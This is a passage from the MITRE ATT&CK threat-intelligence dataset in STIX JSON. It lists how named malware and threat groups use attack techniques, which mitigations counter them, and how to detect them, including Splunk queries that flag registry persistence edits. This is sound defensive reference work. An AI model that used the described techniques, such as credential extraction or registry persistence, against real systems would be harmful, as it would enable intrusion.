"relationship--a69c1383-0afc-40d5-879c-fda561aff983", "type": "relationship", "created": "2020-03-29T20:35:36.808Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2021-04-06T12:31:06.895Z", "description": "Proactively reset accounts that are known to be part of breached credentials either immediately, or after detecting bruteforce attempts.", "relationship_type": "mitigates", "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", "target_ref": "attack-pattern--b2d03cea-aec1-45ca-9744-9ee583c1e1cc", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a6a4bbf3-7a2e-46ae-877a-614bf9f81644", "type": "relationship", "created": "2021-03-12T16:55:09.334Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "MSTIC NOBELIUM Mar 2021", "url": "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/", "description": "Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM\u2019s layered persistence. Retrieved March 8, 2021."}], "modified": "2021-04-25T21:45:21.223Z", "description": "[GoldMax](https://attack.mitre.org/software/S0588) has used decoy traffic to surround its malicious network traffic to avoid detection.(Citation: MSTIC NOBELIUM Mar 2021)", "relationship_type": "uses", "source_ref": "malware--5c747acd-47f0-4c5a-b9e5-213541fc01e0", "target_ref": "attack-pattern--f7c0689c-4dbd-489b-81be-7cb7c7079ade", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--a6aad172-c44b-4d21-9bf3-bb9c2dce2f67", "created": "2021-04-22T21:09:35.789Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-18T17:43:58.555Z", "description": "Restrict write access to the `/Library/Security/SecurityAgentPlugins` directory.", "relationship_type": "mitigates", "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448", "target_ref": "attack-pattern--f4c1826f-a322-41cd-9557-562100848c84", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a6ad0908-e975-47d7-9c82-c4dfa9e16c3b", "type": "relationship", "created": "2022-03-30T14:26:51.840Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.840Z", "description": "Monitor for changes to files associated with system-level processes.", "source_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", "target_ref": "attack-pattern--106c0cf6-bf73-4601-9aa8-0945c2715ec5", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--a6af8abf-a60f-47f7-9112-aa527db087c7", "created": "2022-04-16T21:21:06.089Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Talos TinyTurla September 2021", "url": "https://blog.talosintelligence.com/2021/09/tinyturla.html", "description": "Cisco Talos. (2021, September 21). TinyTurla - Turla deploys new malware to keep a secret backdoor on victim machines. Retrieved December 2, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "[TinyTurla](https://attack.mitre.org/software/S0668) contacts its C2 based on a scheduled timing set in its configuration.(Citation: Talos TinyTurla September 2021)", "modified": "2022-04-16T21:33:22.511Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--2a7c1bb7-cd12-456e-810d-ab3bf8457bab", "target_ref": "attack-pattern--4eeaf8a9-c86b-4954-a663-9555fb406466", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a6b41bba-0b47-400d-9aa4-134b4f47994f", "type": "relationship", "created": "2020-07-27T17:47:33.983Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Talos Promethium June 2020", "url": "https://blog.talosintelligence.com/2020/06/promethium-extends-with-strongpity3.html", "description": "Mercer, W. et al. (2020, June 29). PROMETHIUM extends global reach with StrongPity3 APT. Retrieved July 20, 2020."}], "modified": "2020-07-30T14:22:13.043Z", "description": "[StrongPity](https://attack.mitre.org/software/S0491) can identify the hard disk volume serial number on a compromised host.(Citation: Talos Promethium June 2020)", "relationship_type": "uses", "source_ref": "malware--20945359-3b39-4542-85ef-08ecb4e1c174", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a6baf58a-f679-4ba7-abfd-4e1e67ad407b", "type": "relationship", "created": "2020-02-21T21:08:26.597Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-02-21T21:08:26.597Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af", "target_ref": "attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--a6bb9c7f-3e1c-429a-a81d-0d446f4abe9a", "created": "2022-01-11T14:58:01.963Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "Prevailion DarkWatchman 2021", "url": "https://www.prevailion.com/darkwatchman-new-fileless-techniques/", "description": "Smith, S., Stafford, M. (2021, December 14). DarkWatchman: A new evolution in fileless techniques. Retrieved January 10, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[DarkWatchman](https://attack.mitre.org/software/S0673) has the ability to self-extract as a RAR archive.(Citation: Prevailion DarkWatchman 2021)", "modified": "2022-04-17T19:32:44.438Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--63686509-069b-4143-99ea-4e59cad6cb2a", "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a6bc0492-4d72-4010-b5c5-2a636bb284d7", "type": "relationship", "created": "2022-03-30T14:26:51.852Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.852Z", "description": "Verify integrity of live processes by comparing code in memory to that of corresponding static binaries, specifically checking for jumps and other instructions that redirect code flow.", "source_ref": "x-mitre-data-component--ee575f4a-2d4f-48f6-b18b-89067760adc1", "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--a6bc65f9-30c8-4f55-b4ce-049afdb3255b", "created": "2022-03-30T14:26:51.857Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-27T20:41:55.032Z", "description": "Monitor processes and command-line arguments for actions that could be taken to change, conceal, and/or delete information in the Registry. (i.e. reg.exe, regedit.exe). The analytic is oriented around detecting invocations of [Reg](https://attack.mitre.org/software/S0075) where the parent executable is an instance of cmd.exe that wasn\u2019t spawned by explorer.exe. The built-in utility\u00a0reg.exe provides a\u00a0command-line interface to the registry, so that queries and modifications can be performed from a shell, such as\u00a0cmd.exe. When a user is responsible for these actions, the parent of\u00a0cmd.exewill typically be\u00a0explorer.exe. Occasionally, power users and administrators write scripts that do this behavior as well, but likely from a different process tree. These background scripts must be baselined so they can be tuned out accordingly. Analytic Event IDs are for Sysmon (Event ID 1 - process create) and Windows Security Log (Event ID 4688 - a new process has been created). \n\nAnalytic 1 - Registry Edit with Modification of Userinit, Shell or Notify\n\n<code>(source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") OR (source=\"*WinEventLog:Security\" EventCode=\"4688\") \n((CommandLine=\"*reg*\" CommandLine=\"*add*\" CommandLine=\"*/d*\") OR ((CommandLine=\"*Set-ItemProperty*\" OR CommandLine=\"*New-ItemProperty*\") AND CommandLine=\"*-value*\")) \nCommandLine=\"*\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon*\" \n(CommandLine=\"*Userinit*\" OR CommandLine=\"*Shell*\" OR CommandLine=\"*Notify*\")</code>\n\nAnalytic 2 - Modification of Default Startup Folder in the Registry Key 'Common Startup'\n\n<code>(source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") OR (source=\"*WinEventLog:Security\" EventCode=\"4688\") \n(CommandLine=\"*reg*\" AND CommandLine=\"*add*\" AND CommandLine=\"*/d*\") OR \n(CommandLine=\"*Set-ItemProperty*\" AND CommandLine=\"*-value*\") \nCommandLine=\"*Common Startup*\"</code>\n\nAnalytic 3 - Registry Edit with Creation of SafeDllSearchMode Key Set to 0\n\n<code>(source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") OR (source=\"*WinEventLog:Security\" EventCode=\"4688\")((CommandLine=\"*reg*\" CommandLine=\"*add*\" CommandLine=\"*/d*\") OR (CommandLine=\"*Set-ItemProperty*\" CommandLine=\"*-value*\")) (CommandLine=\"*00000000*\" OR CommandLine=\"*0*\") CommandLine=\"*SafeDllSearchMode*\")</code>", "relationship_type": "detects", "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a6bf495a-9769-433b-8754-e57f5e9045b7", "type": "relationship", "created": "2020-12-28T21:12:01.745Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "BleepingComputer Molerats Dec 2020", "url": "https://www.bleepingcomputer.com/news/security/hacking-group-s-new-malware-abuses-google-and-facebook-services/", "description": "Ilascu, I. (2020, December 14). Hacking group\u2019s new malware abuses Google and Facebook services. Retrieved December 28, 2020."}], "modified": "2020-12-28T21:12:01.745Z", "description": "[SharpStage](https://attack.mitre.org/software/S0546) has decompressed data received from the C2 server.(Citation: BleepingComputer Molerats Dec 2020)", "relationship_type": "uses", "source_ref": "malware--0ba9281c-93fa-4b29-8e9e-7ef918c7b13a", "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a6c20b07-57ea-46dd-aa71-93849b6b66ca", "type": "relationship", "created": "2020-06-10T19:31:48.126Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Trend Micro Tick November 2019", "url": "https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf", "description": "Chen, J. et al. (2019, November). Operation ENDTRADE: TICK\u2019s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. Retrieved June 9, 2020."}], "modified": "2020-06-24T01:27:32.412Z", "description": "[build_downer](https://attack.mitre.org/software/S0471) has the ability to send system volume information to C2.(Citation: Trend Micro Tick November 2019)", "relationship_type": "uses", "source_ref": "malware--d2c7f8ad-3b50-4cfa-bbb1-799eff06fb40", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a6c274f5-43e1-4f69-a182-0c4ab9d0a5ed", "type": "relationship", "created": "2020-03-27T21:50:26.217Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2021-10-15T23:57:08.234Z", "description": "MSBuild.exe may not be necessary within an environment and should be removed if not being used.", "relationship_type": "mitigates", "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31", "target_ref": "attack-pattern--c92e3d68-2349-49e4-a341-7edca2deff96", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a6c9484e-d8b3-4c5c-bb2a-72a4863c5d63", "type": "relationship", "created": "2022-03-30T14:26:51.856Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.856Z", "description": "Monitor for the unexpected creation or presence of cloud block storage volumes . To reduce false positives, valid change management procedures could introduce a known identifier that is logged with the change (e.g., tag or header) if supported by the cloud provider, to help distinguish valid, expected actions from malicious ones.", "source_ref": "x-mitre-data-component--dad75cc7-5bae-4175-adb4-ca1962d8650e", "target_ref": "attack-pattern--144e007b-e638-431d-a894-45d90c54ab90", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--a6cc46bc-a2ed-49fb-821a-e22da00e4e29", "created": "2022-07-15T13:46:47.613Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-08-23T21:16:27.450Z", "description": "Monitor for API calls associated with finding domain-level groups and permission settings, such as <code>NetGroupEnum</code>. Other API calls relevant to Domain Group discovery include <code>NetQueryDisplayInformation</code> and <code>NetGetDisplayInformationIndex</code>.\n\nNote: Most EDR tools do not support direct monitoring of API calls due to the sheer volume of calls produced by an endpoint but may have alerts or events that are based on abstractions of OS API calls. Dynamic malware analysis tools (i.e., sandboxes) can be used to trace the execution, including OS API calls, for a single PE binary. ", "relationship_type": "detects", "source_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e", "target_ref": "attack-pattern--2aed01ad-3df3-4410-a8cb-11ea4ded587c", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a6d35df2-0711-4b18-b733-6200467056ec", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://securelist.com/operation-daybreak/75100/", "description": "Raiu, C., and Ivanov, A. (2016, June 17). Operation Daybreak. Retrieved February 15, 2018.", "source_name": "Securelist ScarCruft Jun 2016"}, {"source_name": "FireEye APT37 Feb 2018", "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf"}, {"source_name": "Volexity InkySquid BLUELIGHT August 2021", "url": "https://www.volexity.com/blog/2021/08/17/north-korean-apt-inkysquid-infects-victims-using-browser-exploits/", "description": "Cash, D., Grunzweig, J., Meltzer, M., Adair, S., Lancaster, T. (2021, August 17). North Korean APT InkySquid Infects Victims Using Browser Exploits. Retrieved September 30, 2021."}], "modified": "2021-10-15T16:54:02.219Z", "description": "[APT37](https://attack.mitre.org/groups/G0067) has used strategic web compromises, particularly of South Korean websites, to distribute malware. The group has also used torrent file-sharing sites to more indiscriminately disseminate malware to victims. As part of their compromises, the group has used a Javascript based profiler called RICECURRY to profile a victim's web browser and deliver malicious code accordingly.(Citation: Securelist ScarCruft Jun 2016)(Citation: FireEye APT37 Feb 2018)(Citation: Volexity InkySquid BLUELIGHT August 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c", "target_ref": "attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--a6d53c2b-a2d2-4ad6-a61b-b8c88927d66a", "created": "2023-02-23T22:23:00.523Z", "revoked": false, "external_references": [{"source_name": "MalwareBytes WoodyRAT Aug 2022", "description": "MalwareBytes Threat Intelligence Team. (2022, August 3). Woody RAT: A new feature-rich malware spotted in the wild. Retrieved December 6, 2022.", "url": "https://www.malwarebytes.com/blog/threat-intelligence/2022/08/woody-rat-a-new-feature-rich-malware-spotted-in-the-wild"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-02-23T22:23:00.523Z", "description": "[Woody RAT](https://attack.mitre.org/software/S1065) has relied on users opening a malicious email attachment for execution.(Citation: MalwareBytes WoodyRAT Aug 2022)", "relationship_type": "uses", "source_ref": "malware--3bc7e862-5610-4c02-9c48-15b2e2dc1ddb", "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a6d8c16f-7102-407c-ab9a-7d6b77f85413", "type": "relationship", "created": "2022-02-09T14:13:52.010Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Talos Kimsuky Nov 2021", "url": "https://blog.talosintelligence.com/2021/11/kimsuky-abuses-blogs-delivers-malware.html", "description": "An, J and Malhotra, A. (2021, November 10). North Korean attackers use malicious blogs to deliver malware to high-profile South Korean targets. Retrieved December 29, 2021."}], "modified": "2022-02-09T14:13:52.010Z", "description": "(Citation: Talos Kimsuky Nov 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f", "target_ref": "malware--b9799466-9dd7-4098-b2d6-f999ce50b9a8", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--a6dc02a8-2ce3-45db-a7e5-e475d6acec3c", "created": "2020-05-08T17:01:36.139Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Group IB Silence Sept 2018", "description": "Group-IB. (2018, September). Silence: Moving Into the Darkside. Retrieved May 5, 2020.", "url": "https://go.group-ib.com/report-silence-en?_gl=1*d1bh3a*_ga*MTIwMzM5Mzc5MS4xNjk4OTI5NzY4*_ga_QMES53K3Y2*MTcwNDcyMjU2OS40LjEuMTcwNDcyMzU1Mi41My4wLjA."}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-01-10T14:30:32.222Z", "description": "[Silence](https://attack.mitre.org/groups/G0091) has used Nmap to scan the corporate network, build a network topology, and identify vulnerable hosts.(Citation: Group IB Silence Sept 2018)\t", "relationship_type": "uses", "source_ref": "intrusion-set--d13c8a7f-740b-4efa-a232-de7d6bb05321", "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a6dd4567-92ac-47e3-9688-2d555c239705", "type": "relationship", "created": "2020-05-21T21:31:34.268Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Malwarebytes Pony April 2016", "url": "https://blog.malwarebytes.com/threat-analysis/2015/11/no-money-but-pony-from-a-mail-to-a-trojan-horse/", "description": "hasherezade. (2016, April 11). No money, but Pony! From a mail to a trojan horse. Retrieved May 21, 2020."}], "modified": "2020-05-21T21:31:34.268Z", "description": "[Pony](https://attack.mitre.org/software/S0453) has sent collected information to the C2 via HTTP POST request.(Citation: Malwarebytes Pony April 2016)\t", "relationship_type": "uses", "source_ref": "malware--222ba512-32d9-49ac-aefd-50ce981ce2ce", "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--a6ddb76d-4317-4cfd-9e1d-57d8a0c5fb21", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Accenture Hogfish April 2018", "description": "Accenture Security. (2018, April 23). Hogfish Redleaves Campaign. Retrieved July 2, 2018.", "url": "http://web.archive.org/web/20220810112638/https:/www.accenture.com/t20180423T055005Z_w_/se-en/_acnmedia/PDF-76/Accenture-Hogfish-Threat-Analysis.pdf"}, {"source_name": "FireEye APT10 Sept 2018", "description": "Matsuda, A., Muhammad I. (2018, September 13). APT10 Targeting Japanese Corporations Using Updated TTPs. Retrieved September 17, 2018.", "url": "https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-23T15:06:31.036Z", "description": "[menuPass](https://attack.mitre.org/groups/G0045) has used [certutil](https://attack.mitre.org/software/S0160) in a macro to decode base64-encoded content contained in a dropper document attached to an email. The group has also used <code>certutil -decode</code> to decode files on the victim\u2019s machine when dropping [UPPERCUT](https://attack.mitre.org/software/S0275).(Citation: Accenture Hogfish April 2018)(Citation: FireEye APT10 Sept 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a6e374d3-1de7-4f5e-8fce-42cc326886bc", "type": "relationship", "created": "2021-10-13T13:00:59.084Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "SentinelOne NobleBaron June 2021", "url": "https://labs.sentinelone.com/noblebaron-new-poisoned-installers-could-be-used-in-supply-chain-attacks/", "description": "Guerrero-Saade, J. (2021, June 1). NobleBaron | New Poisoned Installers Could Be Used In Supply Chain Attacks. Retrieved August 4, 2021."}], "modified": "2021-10-13T13:00:59.084Z", "description": "[NativeZone](https://attack.mitre.org/software/S0637) has used rundll32 to execute a malicious DLL.(Citation: SentinelOne NobleBaron June 2021)", "relationship_type": "uses", "source_ref": "malware--b4783be3-35d9-4a56-ac8d-1f3e1c9d9a84", "target_ref": "attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a6e4853a-78a6-4c88-a7c5-58793d3e4dcd", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CrowdStrike Putter Panda", "description": "Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.", "url": "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf"}], "modified": "2020-03-17T02:11:01.387Z", "description": "If an initial connectivity check fails, [pngdowner](https://attack.mitre.org/software/S0067) attempts to extract proxy details and credentials from Windows Protected Storage and from the IE Credentials Store. This allows the adversary to use the proxy credentials for subsequent requests if they enable outbound HTTP access.(Citation: CrowdStrike Putter Panda)", "relationship_type": "uses", "source_ref": "malware--800bdfba-6d66-480f-9f45-15845c05cb5d", "target_ref": "attack-pattern--837f9164-50af-4ac0-8219-379d8a74cefc", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a6e6f751-5c93-4a31-afdc-78513aaea15a", "type": "relationship", "created": "2020-02-27T17:55:27.467Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-11-05T16:07:03.955Z", "description": "Limit domain admin account permissions to domain controllers and limited servers. Delegate other admin functions to separate accounts.", "relationship_type": "mitigates", "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", "target_ref": "attack-pattern--768dce68-8d0d-477a-b01d-0eea98b963a1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a6e77d6e-a76d-446c-a8ac-03b48892b7cb", "type": "relationship", "created": "2020-02-20T22:06:41.878Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-02-20T22:06:41.878Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--fb640c43-aa6b-431e-a961-a279010424ac", "target_ref": "attack-pattern--1988cc35-ced8-4dad-b2d1-7628488fa967", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a6e883cf-6276-47c1-a4a3-be2756d510a2", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Microsoft PLATINUM April 2016", "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.", "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf"}], "modified": "2020-03-16T16:57:38.869Z", "description": "[JPIN](https://attack.mitre.org/software/S0201) checks for the presence of certain security-related processes and deletes its installer/uninstaller component if it identifies any of them.(Citation: Microsoft PLATINUM April 2016)", "relationship_type": "uses", "source_ref": "malware--de6cb631-52f6-4169-a73b-7965390b0c30", "target_ref": "attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a6f0c9d2-ae40-4dee-9231-4f6fa3d87b00", "type": "relationship", "created": "2020-03-13T13:51:58.704Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-03-13T13:51:58.704Z", "relationship_type": "subtechnique-of", "source_ref": 